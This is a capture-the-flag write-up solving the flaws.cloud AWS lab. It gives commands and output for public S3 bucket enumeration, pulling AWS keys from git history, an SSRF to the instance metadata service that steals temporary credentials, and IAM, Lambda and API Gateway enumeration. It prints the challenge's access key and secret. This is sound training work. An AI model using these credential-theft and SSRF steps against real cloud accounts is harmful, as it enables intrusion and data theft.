Flaws I
Link to Challenge: flaws.cloud
Credits: @0xdabbad00
Level 1 - Enumerating public S3 buckets (Unauthenticated)
Objective
This level is buckets of fun. See if you can find the first sub-domain.
Our first task is to perform some enumeration round the domain itself:
fog@cloudbreach:~/flaws/level6$ dig flaws.cloud A +noall +answer
flaws.cloud. 5 IN A 52.92.180.235
flaws.cloud. 5 IN A 52.92.211.59
flaws.cloud. 5 IN A 52.92.212.59
flaws.cloud. 5 IN A 52.218.137.66
flaws.cloud. 5 IN A 52.218.177.90
flaws.cloud. 5 IN A 52.218.183.171
flaws.cloud. 5 IN A 52.218.224.91
flaws.cloud. 5 IN A 52.218.230.2
fog@cloudbreach:~/flaws/level6$ nslookup 52.92.180.235
235.180.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
With this, we can infer that flaws.cloud
is a static website hosted from a S3 bucket and that it is hosted on the us-west-2
region.
fog@cloudbreach:~/flaws/level1$ aws s3 ls s3://flaws.cloud --region us-west-2
2017-03-13 23:00:38 2575 hint1.html
2017-03-02 23:05:17 1707 hint2.html
2017-03-02 23:05:11 1101 hint3.html
2020-05-22 14:16:45 3162 index.html
2018-07-10 12:47:16 15979 logo.png
2017-02-26 20:59:28 46 robots.txt
2017-02-26 20:59:30 1051 secret-dd02c7c.html
An alternative way (automated) to look for **any** open S3 bucket using the cloud_enum
tool would look like this:
python3 cloud_enum.py -k flaws.cloud -t 10 --disable-azure --disable-gcp -l cloud_enum_output.txt
++++++++++++++++++++++++++
amazon checks
++++++++++++++++++++++++++
[+] Checking for S3 buckets
OPEN S3 BUCKET: http://flaws.cloud.s3.amazonaws.com/
FILES:
->http://flaws.cloud.s3.amazonaws.com/flaws.cloud
->http://flaws.cloud.s3.amazonaws.com/hint1.html
->http://flaws.cloud.s3.amazonaws.com/hint2.html
->http://flaws.cloud.s3.amazonaws.com/hint3.html
->http://flaws.cloud.s3.amazonaws.com/index.html
->http://flaws.cloud.s3.amazonaws.com/logo.png
->http://flaws.cloud.s3.amazonaws.com/robots.txt
->http://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.html
Elapsed time: 00:02:56
The scanner tells us there is an unprotected open S3 bucket pointing over at flaws.cloud.s3.amazonaws.com
We can list and dump its content using another tool called s3scanner
(not necessary, just for example's sake):
s3scanner --threads 10 dump --dump-dir . --bucket flaws.cloud.s3.amazonaws.com
fog@cloudbreach:~/flaws/level1$ ll flaws.cloud.s3.amazonaws.com/
total 48
drwxrwxr-x 2 fog fog 4096 Dec 12 23:05 ./
drwxrwxr-x 3 fog fog 4096 Dec 12 23:05 ../
-rw-rw-r-- 1 fog fog 2575 Dec 12 22:52 hint1.html
-rw-rw-r-- 1 fog fog 1707 Dec 12 22:52 hint2.html
-rw-rw-r-- 1 fog fog 1101 Dec 12 22:52 hint3.html
-rw-rw-r-- 1 fog fog 3162 Dec 12 22:52 index.html
-rw-rw-r-- 1 fog fog 15979 Dec 12 22:52 logo.png
-rw-rw-r-- 1 fog fog 46 Dec 12 22:52 robots.txt
-rw-rw-r-- 1 fog fog 1051 Dec 12 22:52 secret-dd02c7c.html
The flag for the next level can be accessed by visiting secret-dd02c7c.html
.
Level 2 - Enumerating public S3 buckets (AWS users)
Objective
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.
This time we will use aws cli
to solve the challenge. The only difference with the previous level is that we will need valid AWS access keys to be able to list and download the contents of the S3 bucket.
Profiles can be added to your local machine using aws configure
.
fog@cloudbreach:~/flaws/level2$ aws s3 ls level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --profile=<aws_profile>
2017-02-26 21:02:15 80751 everyone.png
2017-03-02 22:47:17 1433 hint1.html
2017-02-26 21:04:39 1035 hint2.html
2017-02-26 21:02:14 2786 index.html
2017-02-26 21:02:14 26 robots.txt
2017-02-26 21:02:15 1051 secret-e4443fc.html
From there we can try to download the contents of the bucket using aws s3 sync
:
fog@cloudbreach:~/flaws/level2$ aws s3 sync s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud . --profile=<aws_profile>
Level 3 - Hunting Keys in .Git Repository
fog@cloudbreach:~/flaws/level3$ git log master
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
commit f52ec03b227ea6094b04e43f475fb0126edb5a61 (HEAD)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:07 2017 -0600
first commit
Sometimes, developpers mess up by committing sensitive information like passwords or API keys. While they might rectify their mistake right away, all previous versions of the repository are stored in .git/
and identified with a commit hash.
To find out what scott@summitroute.com
committed to the repository, we just need to use the git checkout
command.
fog@cloudbreach:~/flaws/level3$ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
M index.html
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.
fog@cloudbreach:~/flaws/level3$ ll
total 168
drwxrwxr-x 3 fog fog 4096 Dec 13 01:16 ./
drwxrwxr-x 6 fog fog 4096 Dec 13 00:51 ../
-rw-rw-r-- 1 fog fog 91 Dec 13 01:16 access_keys.txt <-- !!!
drwxrwxr-x 7 fog fog 4096 Dec 13 01:16 .git/
-rw-rw-r-- 1 fog fog 1552 Dec 8 02:44 hint1.html
-rw-rw-r-- 1 fog fog 1426 Dec 8 02:44 hint2.html
-rw-rw-r-- 1 fog fog 1247 Dec 8 02:44 hint3.html
-rw-rw-r-- 1 fog fog 1035 Dec 8 02:44 hint4.html
-rw-rw-r-- 1 fog fog 1861 Dec 8 02:44 index.html
-rw-rw-r-- 1 fog fog 26 Dec 8 02:44 robots.txt
Of course, in this example we are playing with a very scarce .git/
repo. In practice, we could leverage tools like trufflehog
to help us find interesting data (also see)
fog@cloudbreach:~/flaws/level3$ cat trufflehog_output.txt
trufflehog dev
Found verified result 🐷🔑
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAJ366LIPB4IJKT7SA
Commit: f52ec03b227ea6094b04e43f475fb0126edb5a61
File: access_keys.txt
Email: 0xdabbad00 <scott@summitroute.com>
Timestamp: 2017-09-17 09:10:07 -0600 -0600
Line: 1
Now that we got our hands on a set of AWS Access Keys we can import them in our environment using aws configure
and see what can be done with them.
fog@cloudbreach:~/flaws/level3$ aws configure list --profile level3
Name Value Type Location
---- ----- ---- --------
profile level3 manual --profile
access_key ****************T7SA shared-credentials-file
secret_key ****************3Jys shared-credentials-file
region us-west-2 config-file ~/.aws/config
One of the first commands to run when looting AWS keys is get-caller-identity
(AWS's version of whoami
).
fog@cloudbreach:~/flaws/level3$ aws sts get-caller-identity --profile level3
{
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Account": "975426262029",
"Arn": "arn:aws:iam::975426262029:user/backup"
}
Our user is called backup
. We can leverage the policies attached to this account to list down all buckets visible by this user.
fog@cloudbreach:~/flaws/level3$ aws s3 ls --profile=level3
2020-06-25 13:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 19:06:07 config-bucket-975426262029
2020-06-27 06:46:15 flaws-logs
2020-06-27 06:46:15 flaws.cloud
2020-06-27 11:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 11:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 11:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 11:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 11:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-27 22:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
We don't have read access to everything, but enough to move on to the next level level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
.
Tip
Read the following from Github Docs: Removing sensitive data from a repository
NB: always rotate your keys/secrets if you suspect any potential leak.
Level 4 - Enumerating EC2 Instance
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud.
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.
Level 5 - SSRF on AWS Metadata Service
Objective
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
that has a hidden directory in it.
By leveraging the proxy on the target EC2, we are able to force the server to issue a request to host under our control. This is more-or-less equivalent to a server-side-request-forgery (SSRF) attack.
SSRFs are known to be particularly impactful in cloud environments due to the presence of the internal metadata service (IMDS) running by default on every compute instance (AWS, GCP, Azure, etc.).
This service is generally accessible at a fixed IP address 169.254.169.254
, let's verify that:
fog@cloudbreach:~/flaws/level5$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/hostname
ip-172-31-41-84.us-west-2.compute.internal
Most importantly, the IMDS service sometimes allows access to sensitive access keys.
fog@cloudbreach:~/flaws/level5$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
"Code" : "Success",
"LastUpdated" : "2022-12-13T07:20:49Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA**************XQ",
"SecretAccessKey" : "gH5H********************************rjmy",
"Token" : "IQoJ*****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************4tuGdtSdxNiGtGsfPrY",
"Expiration" : "2022-12-13T13:22:40Z"
}
We just need to create another profile and import the stolen keys in our environment to see if can do anything with them.
Warning
Temporary (AWS STS) access key IDs - as denoted by the ASIA
prefix in the AccessKeyId
field - require to add an extra field in the aws profile
configuration file:
# cat ~/.aws/credentials
[level6]
aws_access_key_id = <AccessKeyId>
aws_secret_access_key = <SecretAccessKey>
aws_session_token = <Token>
fog@cloudbreach:~/flaws/level6$ aws s3 sync s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ . --profile level6
fog@cloudbreach:~/flaws/level6$ ll
total 16
drwxrwxr-x 3 fog fog 4096 Dec 8 22:10 ./
drwxrwxr-x 8 fog fog 4096 Dec 13 03:18 ../
drwxrwxr-x 2 fog fog 4096 Dec 8 22:10 ddcc78ff/
-rw-rw-r-- 1 fog fog 871 Feb 26 2017 index.html
Level 6 - Exploiting AWS Lambda Functions
Objective
For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
Let's enumerate information about our current user. First question we ask ourselves is whether we have any kind of inline policies associated to us:
fog@cloudbreach:~/flaws/level6$ aws iam list-user-policies --user-name Level6 --profile level6
{
"PolicyNames": []
}
What about attached policies?
fog@cloudbreach:~/flaws/level6$ aws iam list-attached-user-policies --user-name Level6 --profile level6
{
"AttachedPolicies": [
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
},
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
}
]
}
MySecurityAudit
but also list_apigateways
.
What can we do with those?
Tip
To retrieve a managed policy document that is attached to a user, use GetPolicy
to determine the policy's default version. Then use GetPolicyVersion
to retrieve the policy document.
aws iam get_policy --policy-arn <policy_arn>
aws iam get_policy_version --policy-arn <policy_arn> --policy-id <policy_version>
fog@cloudbreach:~/flaws/level6$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6
{
"Policy": {
"PolicyName": "list_apigateways",
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "List apigateways",
"CreateDate": "2017-02-20T01:45:17Z",
"UpdateDate": "2017-02-20T01:48:17Z",
"Tags": []
}
}
fog@cloudbreach:~/flaws/level6$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile level6
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2017-02-20T01:48:17Z"
}
}
Tip
Lambda functions are called using a combination of:
rest-api-id
-> e.g: s33ppypa75stage-name
-> e.g: Prodregion
-> e.g: us-west-2- and
resource
-> e.g: level6
Functions call be triggered by visiting URLs formed as: https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stage-name>/<resource>
fog@cloudbreach:~/flaws/level6$ aws lambda get-policy --function-name Level6 --profile flaws-level6 --region us-west-2
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
"RevisionId": "98033dfd-defa-41a8-b820-1f20add9c77b"
}
fog@cloudbreach:~/flaws/level6$ aws apigateway get-stages --rest-api-id s33ppypa75 --profile level6 --region us-west-2
{
"item": [
{
"deploymentId": "8gppiv",
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"tracingEnabled": false,
"createdDate": 1488155168,
"lastUpdatedDate": 1488155168
}
]
}